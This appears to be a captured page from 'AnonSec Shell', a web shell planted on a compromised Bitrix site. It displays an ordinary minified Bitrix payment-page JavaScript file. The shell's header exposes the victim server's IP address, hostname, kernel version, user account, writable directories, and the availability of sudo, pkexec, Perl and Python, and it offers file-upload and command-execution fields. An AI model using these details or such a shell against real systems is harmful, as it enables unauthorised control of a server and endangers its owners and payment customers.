AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.225.56.120
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/sale/payment-pay/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/sale/payment-pay/script-es5.min.js
BX.namespace("BX.SalesCenter.Component");if(typeof BX.SalesCenter.Component.PaymentPayBase==="undefined"){BX.SalesCenter.Component.PaymentPayBase=function(){this._id="";this._settings={};this._container=null;this._wrapper=null;this._url="";this._paysystems=[];this._paySystemId=null;this._allowPaymentRedirect=null};BX.SalesCenter.Component.PaymentPayBase.prototype={initialize:function(e,t){this._id=BX.type.isNotEmptyString(e)?e:BX.util.getRandomString(4);this._settings=t?t:{};this._isViewMode=this.getSetting("viewMode");this._container=BX(this.getSetting("containerId"));this._url=this.getSetting("url")||"";this._paySystemId=BX.prop.getInteger(t,"paySystemId",0);this._allowPaymentRedirect=BX.prop.getBoolean(t,"allowPaymentRedirect",true);this._isAllowedSubmitting=BX.UserConsent===undefined||this.getSetting("isAllowedSubmitting",false);if(!this._container)return null;if(BX.UserConsent!==undefined){var n=BX.UserConsent.load(this._container);if(n){BX.addCustomEvent(n,BX.UserConsent.events.accepted,function(){this._isAllowedSubmitting=true}.bind(this));BX.addCustomEvent(n,BX.UserConsent.events.refused,function(){this._isAllowedSubmitting=false}.bind(this))}}var s=BX.prop.getArray(t,"paySystemData",[]);for(var i=0;i<s.length;i++){var a=s[i];var r=this.createItem(a.ID,{parent:this,fields:a});if(BX.type.isDomNode(r.getWrapper())&&!this._isViewMode){BX.bind(r.getWrapper(),"click",this.submit.bind(this))}this._paysystems.push(r)}this.layout();if(!this._isViewMode){var o=this._container.querySelector(this.getSetting("submitButtonSelector"));if(BX.type.isDomNode(o)){BX.bind(o,"click",this.submit.bind(this))}}BX.addCustomEvent("onPaySystemAjaxError",BX.proxy(this.showPaymentError,this));BX.addCustomEvent("onPaySystemUpdateTemplate",BX.proxy(this.autoSubmit,this))},addReloadPageButton:function(){var e=BX.create("div",{props:{className:"order-payment-buttons-container checkout-btn-container checkout-basket-section"},children:[BX.create("div",{props:{className:"checkout-basket-section-description py-3"},html:BX.message("SPP_EMPTY_TEMPLATE_FOOTER")}),BX.create("button",{text:BX.message("SPP_PAY_RELOAD_BUTTON_NEW"),props:{className:"order-payment-button-reload btn btn-primary btn-md"},events:{click:BX.delegate(function(e){e.target.disabled=true;this.changePaySystem()},this)}})]});this._container.appendChild(e)},changePaySystem:function(){BX.onCustomEvent(window,"onChangePaySystems",[this])},autoSubmit:function(){var e=this._container.querySelector("form"),t=true,n,s,i=["hidden","submit"];if(e){for(s=0;s<e.elements.length;s++){n=e.elements[s];if(n instanceof HTMLInputElement){if(i.indexOf(n.type)===-1){t=false;break}}}if(t){HTMLFormElement.prototype.submit.call(e)}}},getId:function(){return this._id},layout:function(){},selectItem:function(e){},getSelectedItem:function(){for(var e=0;e<this._paysystems.length;e++){var t=this._paysystems[e];if(t.isSelected()){return t}}return null},getSetting:function(e,t){return this._settings.hasOwnProperty(e)?this._settings[e]:t},submit:function(e){var t=this.getSelectedItem(),n;BX.onCustomEvent(this.getSetting("consentEventName"),[]);n=Number.parseInt(t?t.getId():this._paySystemId);if(!n||!this._url||!this._isAllowedSubmitting){if(t){t.changeSelection(false)}return false}e.target.disabled=true;this._isAllowedSubmitting=false;var s=this.getPayButton(t);this.showLoader(s);var i=this._url;BX.ajax({method:"POST",dataType:"json",url:i,data:{sessid:BX.bitrix_sessid(),paysystemId:n,returnUrl:this.getSetting("returnUrl"),signedParameters:this.getSetting("signedParameters")},onsuccess:BX.proxy(this.onAfterPay,this)},this)},getPayButton:function(e){return e._wrapper.querySelector(".order-payment-method-item-button")},onAfterPay:function(e){if(!BX.type.isObject(e)||e.status==="error"){this.showPaymentError(e.errors)}else{var t=BX.type.isString(e.url)?e.url:"",n=BX.type.isString(e.html)?e.html:"";if(t&&this._allowPaymentRedirect){window.location.href=t}else{if(n.length===0){this._container.innerHTML="";var s=BX.prop.getObject(e,"fields");var i=BX.create("div",{props:{className:"checkout-basket-section"},children:[BX.create("div",{props:{className:"checkout-basket-title"},html:BX.message("SPP_EMPTY_TEMPLATE_TITLE")}),BX.create("div",{props:{className:"checkout-basket-personal-order-info"},children:[BX.create("div",{props:{className:"checkout-basket-personal-order-info-item"},html:"<span>"+BX.message("SPP_EMPTY_TEMPLATE_SUM_WITH_CURRENCY_FIELD")+"</span> <strong>"+BX.prop.getString(s,"SUM_WITH_CURRENCY")+"</strong>"}),BX.create("div",{props:{className:"checkout-basket-personal-order-info-item"},html:"<span>"+BX.message("SPP_EMPTY_TEMPLATE_PAY_SYSTEM_NAME_FIELD")+"</span> <strong>"+BX.prop.getString(s,"PAY_SYSTEM_NAME")+"</strong>"})]})]});this._container.appendChild(i);this.addReloadPageButton()}else{BX.html(this._container,n).then(function(){this.addReloadPageButton();if(this._allowPaymentRedirect){this.autoSubmit()}}.bind(this))}}}},showPaymentError:function(e){var t=[BX.message("SPP_INITIATE_PAY_ERROR_TEXT_HEADER")];if(e){for(var n in e){if(e.hasOwnProperty(n)){t.push(e[n])}}}t.push(BX.message("SPP_INITIATE_PAY_ERROR_TEXT_FOOTER"));var s=document.createElement("div");s.innerHTML=t.join("<br />");s.classList.add("alert");s.classList.add("alert-danger");this._container.innerHTML="";this._container.appendChild(s);this.addReloadPageButton()},showLoader:function(e){e.classList.add("order-payment-loader");e.innerHTML="";new BX.Loader({target:e,size:24,color:"#fff",mode:"inline"}).show()},createItem:function(e,t){return BX.SalesCenter.Component.PaySystemItem.create(e,t)}};BX.SalesCenter.Component.PaymentPayBase.instances={};BX.SalesCenter.Component.PaymentPayBase.create=function(e,t){var n=new BX.SalesCenter.Component.PaymentPayBase;n.initialize(e,t);this.instances[n.getId()]=n;return n}}if(typeof BX.SalesCenter.Component.PaymentPayList==="undefined"){BX.SalesCenter.Component.PaymentPayList=function(){BX.SalesCenter.Component.PaymentPayList.superclass.constructor.apply(this)};BX.extend(BX.SalesCenter.Component.PaymentPayList,BX.SalesCenter.Component.PaymentPayBase);BX.SalesCenter.Component.PaymentPayList.prototype.layout=function(){this._wrapper=this._container.querySelector(this.getSetting("paySystemBlockSelector"));if(!BX.type.isDomNode(this._wrapper)){return null}for(var e=0;e<this._paysystems.length;e++){var t=this._paysystems[e];this._wrapper.appendChild(t.getWrapper())}if(this._isViewMode){this.layoutDescription()}};BX.SalesCenter.Component.PaymentPayList.prototype.layoutDescription=function(){if(!this._container)return null;var e=this._container.querySelector(this.getSetting("descriptionBlockSelector"));if(BX.type.isDomNode()){return null}var t=this.getSelectedItem();e.innerHTML="";if(t){e.appendChild(BX.create("DIV",{props:{className:"order-payment-method-description-title"},text:t.getName()}));e.appendChild(BX.create("DIV",{props:{className:"order-payment-method-description-text"},html:BX.util.htmlspecialchars(t.getDescription())}))}};BX.SalesCenter.Component.PaymentPayList.prototype.selectItem=function(e){var t=e.getId();for(var n=0;n<this._paysystems.length;n++){var s=this._paysystems[n];if(s.getId()===t){s.changeSelection(true)}else if(s.isSelected()){s.changeSelection(false)}}if(this._isViewMode){this.layoutDescription()}return null};BX.SalesCenter.Component.PaymentPayList.instances={};BX.SalesCenter.Component.PaymentPayList.create=function(e,t){var n=new BX.SalesCenter.Component.PaymentPayList;n.initialize(e,t);this.instances[n.getId()]=n;return n}}if(typeof BX.SalesCenter.Component.PaymentPayListCheckOut==="undefined"){BX.SalesCenter.Component.PaymentPayListCheckOut=function(){BX.SalesCenter.Component.PaymentPayListCheckOut.superclass.constructor.apply(this)};BX.extend(BX.SalesCenter.Component.PaymentPayListCheckOut,BX.SalesCenter.Component.PaymentPayList);BX.SalesCenter.Component.PaymentPayListCheckOut.prototype.showLoader=function(e){e.classList.add("order-payment-loader")};BX.SalesCenter.Component.PaymentPayListCheckOut.instances={};BX.SalesCenter.Component.PaymentPayListCheckOut.create=function(e,t){var n=new BX.SalesCenter.Component.PaymentPayListCheckOut;n.initialize(e,t);this.instances[n.getId()]=n;return n};BX.SalesCenter.Component.PaymentPayListCheckOut.prototype.createItem=function(e,t){return BX.SalesCenter.Component.PaySystemItemCheckOut.create(e,t)}}if(typeof BX.SalesCenter.Component.PaymentPayInner==="undefined"){BX.SalesCenter.Component.PaymentPayInner=function(){BX.SalesCenter.Component.PaymentPayInner.superclass.constructor.apply(this)};BX.extend(BX.SalesCenter.Component.PaymentPayInner,BX.SalesCenter.Component.PaymentPayBase);BX.SalesCenter.Component.PaymentPayInner.instances={};BX.SalesCenter.Component.PaymentPayInner.create=function(e,t){var n=new BX.SalesCenter.Component.PaymentPayInner;n.initialize(e,t);this.instances[n.getId()]=n;return n}}if(typeof BX.SalesCenter.Component.PaySystemItem==="undefined"){BX.SalesCenter.Component.PaySystemItem=function(){this._id="";this._settings={};this._parent={};this._fields=[];this._selected=false;this._wrapper=null;this._paySystemId=null};BX.SalesCenter.Component.PaySystemItem.prototype={initialize:function(e,t){this._id=BX.type.isNotEmptyString(e)?e:BX.util.getRandomString(4);this._settings=t?t:{};this._parent=this.getSetting("parent");this._isViewMode=this._parent.getSetting("viewMode");this._fields=this.getSetting("fields");this._wrapper=this.layout();this._paySystemId=BX.prop.getInteger(t,"paySystemId",0)},getId:function(){return this._id},layout:function(){var e=this._isViewMode?"info-mode":"pay-mode";var t;var n=this._fields["LOGOTIP"];if(!n){n="/bitrix/js/sale/payment-pay/payment-method/images/default_logo.png"}t=BX.create("img",{props:{className:"order-payment-method-item-img"},attrs:{src:BX.util.htmlspecialchars(n)}});return BX.create("div",{props:{className:"order-payment-method-item-block "+e},children:[t,BX.create("div",{props:{className:"order-payment-method-item-button "+e},text:this._isViewMode?BX.message("SPP_INFO_BUTTON"):BX.message("SPP_PAY_BUTTON")})],events:{click:this.onClick.bind(this)}})},onClick:function(){if(!this._parent)return null;this._parent.selectItem(this)},getWrapper:function(){return this._wrapper},getName:function(){return this._fields["NAME"]},getDescription:function(){return this._fields["DESCRIPTION"]},isSelected:function(){return this._selected},changeSelection:function(e){this._selected=e;if(e){this._wrapper.classList+=" selected"}else{BX.removeClass(this._wrapper," selected")}},getSetting:function(e,t){return this._settings.hasOwnProperty(e)?this._settings[e]:t}};BX.SalesCenter.Component.PaySystemItem.instances={};BX.SalesCenter.Component.PaySystemItem.create=function(e,t){var n=new BX.SalesCenter.Component.PaySystemItem;n.initialize(e,t);this.instances[n.getId()]=n;return n}}if(typeof BX.SalesCenter.Component.PaySystemItemCheckOut==="undefined"){BX.SalesCenter.Component.PaySystemItemCheckOut=function(){BX.SalesCenter.Component.PaySystemItemCheckOut.superclass.constructor.apply(this)};BX.extend(BX.SalesCenter.Component.PaySystemItemCheckOut,BX.SalesCenter.Component.PaySystemItem);BX.SalesCenter.Component.PaySystemItemCheckOut.instances={};BX.SalesCenter.Component.PaySystemItemCheckOut.create=function(e,t){var n=new BX.SalesCenter.Component.PaySystemItemCheckOut;n.initialize(e,t);this.instances[n.getId()]=n;return n};BX.SalesCenter.Component.PaySystemItemCheckOut.prototype.layout=function(){var e=this._isViewMode?"info-mode":"pay-mode";var t;var n=this.getName();var s=this._fields["LOGOTIP"];if(!s){s="/bitrix/js/sale/payment-pay/payment-method/images/default_logo.png"}t=BX.create("div",{props:{className:"checkout-basket-pay-method-logo"},attrs:{style:'background-image: url("'+BX.util.htmlspecialchars(s)+'")'}});return BX.create("div",{props:{className:"checkout-basket-pay-method-item-container"},children:[BX.create("div",{props:{className:"checkout-basket-pay-method-item-logo-block"},children:[t]}),BX.create("div",{props:{className:"checkout-basket-pay-method-text-block"},children:[BX.create("div",{props:{className:"checkout-basket-pay-method-text"},text:n})]}),BX.create("div",{props:{className:"checkout-basket-pay-method-btn-block"},children:[BX.create("button",{props:{className:"order-payment-method-item-button checkout-checkout-btn btn-primary btn btn-sm rounded-pill px-3"},text:BX.message("SPP_PAY_BUTTON")})]})],events:{click:this.onClick.bind(this)}})}}
//# sourceMappingURL=script-es5.map.js

Anon7 - 2022
AnonSec Team